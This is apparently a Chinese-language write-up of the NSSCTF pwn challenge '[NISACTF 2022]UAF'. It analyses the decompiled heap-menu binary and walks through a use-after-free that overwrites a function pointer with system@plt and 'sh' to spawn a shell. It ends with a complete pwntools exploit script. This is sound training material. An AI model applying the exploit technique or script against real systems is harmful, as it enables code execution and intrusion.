Featured image of post Nssctf Pwn [NISACTF 2022]UAF Wp

Nssctf Pwn [NISACTF 2022]UAF Wp

字数: 1710

题面

提供二进制文件

分析

checksec 查看保护:

1
2
3
4
5
6
7
8
❯ pwn checksec --file=pwn
[*] '/data/project/ctf-repo/pwn/nssctf/NISACTF2022_UAF/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32 位程序。

ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  _DWORD v3[4]; // [esp+8h] [ebp-10h] BYREF

  v3[1] = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1.create");
      puts("2.edit");
      puts("3.delete");
      puts("4.show");
      putchar(58);
      __isoc99_scanf("%d", v3);
      if ( v3[0] != 2 )
        break;
      edit();
    }
    if ( v3[0] > 2 )
    {
      if ( v3[0] == 3 )
      {
        del();
      }
      else if ( v3[0] == 4 )
      {
        show();
      }
      else
      {
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3[0] != 1 )
        goto LABEL_13;
      create();
    }
  }
}

有 4 个函数。分别来看:

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int create()
{
  int result; // eax
  int v1; // ebx
  char *v2; // eax

  printf("you are creating the %d page\n", i);
  result = i;
  if ( i >= 0 )
  {
    result = i;
    if ( i <= 9 )
    {
      v1 = i;
      (&page)[v1] = (char *)malloc(8u);
      if ( i )
      {
        if ( i <= 0 || i > 9 )
        {
          return puts("NO PAGE");
        }
        else
        {
          puts("Good cretation!");
          return ++i;
        }
      }
      else
      {
        v2 = page;
        *(_DWORD *)page = 'oaig';
        v2[4] = 0;
        *((_DWORD *)page + 1) = echo;
        puts("The init page");
        return ++i;
      }
    }
  }
  return result;
}

这里的 i 是在 bss 段下的变量:

1
2
3
.bss:0804A04C                 public i
.bss:0804A04C i               dd ?                    ; DATA XREF: create+7↑r
.bss:0804A04C

用于计数创建的数量。

page 是 (char *) 类型的数组。

1
2
3
4
.bss:0804A060                 public page
.bss:0804A060 ; char *page
.bss:0804A060 page            dd ?                    ; DATA XREF: create+4B↑w
.bss:0804A060                                         ; create+5B↑r ...

存储 malloc 分配的地址。


这里 create 没有需要输入的地方,自动帮我们创建好了。page 只有 10 个(0~9),除了第一次创建,其他都是一段输出,i++。
第一次创建的时候:i = 0,首先会将分配的空间前4位写入 giao ,后 4 位写入 echo 函数的地址。

1
2
3
4
5
6
v2 = page;
*(_DWORD *)page = 'oaig';
v2[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;

之后堆空间长这样:

0x804862b 就是 echo 函数的地址。

echo 函数如下:

1
2
3
4
int __cdecl echo(char *s)
{
  return puts(s);
}

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
unsigned int edit()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0 || v1 > i )
  {
    puts("NO PAGE");
  }
  else
  {
    puts("Input your strings");
    __isoc99_scanf("%s", (&page)[v1]);
  }
  return __readgsdword(0x14u) ^ v2;
}

编辑指定的 page。输入索引给 v1 ,下面有检查,索引范围为 1~i。
直接用 page 相对于 v1 的偏移来写入。

del

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
unsigned int del()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > i )
    puts("NO PAGE");
  else
    free((&page)[v1]);
  return __readgsdword(0x14u) ^ v2;
}

删除指定 page。这里用 free 对应的地址。但是没有做其他处理。i 也不会变化。

show

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int show()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 )
  {
    if ( v1 <= 0 || v1 > i )
      puts("NO PAGE");
    else
      echo((&page)[v1]);
  }
  else
  {
    (*((void (__cdecl **)(char *))page + 1))(page);
  }
  return __readgsdword(0x14u) ^ v2;
}

当 v1 不为零时输出指定内容,当 v1 为 0 调用一个函数指针:

1
(*((void (__cdecl **)(char *))page + 1))(page);

详细分析下该函数指针:

1
(void (__cdecl **)(char *))page + 1

这块是一个类型转换,将地址 page + 1 转换为一个返回值是 void,调用约定是 __cdecl,参数是一个 char * 的函数指针。

外面套上 *() 进行解引用取出这个位置存储的函数指针。后面 (page) 是参数。
这个参数也就是 page 的最开始。
也就是说,如果 show 选择了 0,就会调用这行代码,这个本意其实在最开始 create 函数的时候有说明:

1
2
3
4
5
6
v2 = page;
*(_DWORD *)page = 'oaig';
v2[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;

本意应该是打印出 giao 的。
但是这给我们利用的机会。

除此之外,程序还有一个带有 system 的函数:

1
2
3
4
int __cdecl NICO(char *command)
{
  return system(command);
}

利用

因为 edit 函数限制我们不能去修改 page[0] ,但是如果我们 create 之后 free 掉 0,因为 del 没有限制输入的范围,所以可以 free 掉 page[0] 之后再创建新的 page[1] 的时候,因为我们申请的内存大小是一样的,所以会获得 page[0] 的内存地址。 也就是 page[0] 和 page[1] 都指向同一块内存区域。

这时候 edit 就可以编辑 page[1] 也就是有函数指针的那块区域。

先将 4 个操作变成函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def create():
    io.recvuntil(b":")
    io.sendline(b"1")


def edit(page_num, string):
    io.recvuntil(b":")
    io.sendline(b"2")
    io.recvuntil(b"page\n")
    io.sendline(f"{page_num}".encode())
    io.recvuntil(b"strings\n")
    io.sendline(string)


def delete(page_num):
    io.recvuntil(b":")
    io.sendline(b"3")
    io.recvuntil(b"page")
    io.sendline(f"{page_num}".encode())


def show(page_num):
    io.recvuntil(b":")
    io.sendline(b"4")
    io.recvuntil(b"page")
    io.sendline(f"{page_num}".encode())

要达到 UAF 需要:

1
2
3
create()
delete(0)
create()

此时,page[1] 和 page[0] 都指向同一块内存区域。
接下来写入 page[1] 构建 payload。
由上文可知,page 指向的内存空间是 8 字节。
而 *(page[0]) 可以是函数参数,一个字符串,而 *(page[0])+1 是函数地址。
这样就有构建一个参数为字符串函数的机会了。
我们可以构建出 system(sh)。
只需要:

1
payload = b"sh\x00\x00" + p32(system_plt)

sh后面的 \x00\x00 是补齐,然后后面写入 system 的 plt ,调用 system。

最后 show 0 调用函数指针就拿到 shell 了。

1
2
edit(1, payload)
show(0)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(log_level = "info")
io = process("./pwn")
#io = remote("node4.anna.nssctf.cn", 21470)
elf = ELF("./pwn")



def create():
    io.recvuntil(b":")
    io.sendline(b"1")


def edit(page_num, string):
    io.recvuntil(b":")
    io.sendline(b"2")
    io.recvuntil(b"page\n")
    io.sendline(f"{page_num}".encode())
    io.recvuntil(b"strings\n")
    io.sendline(string)


def delete(page_num):
    io.recvuntil(b":")
    io.sendline(b"3")
    io.recvuntil(b"page")
    io.sendline(f"{page_num}".encode())


def show(page_num):
    io.recvuntil(b":")
    io.sendline(b"4")
    io.recvuntil(b"page")
    io.sendline(f"{page_num}".encode())


system_plt = elf.plt["system"]
payload = b"sh\x00\x00" + p32(system_plt)

gdb.attach(io)
create()
delete(0)
create()
edit(1, payload)
show(0)

io.interactive()

第 2 道堆题,其实算是真正的第一道堆。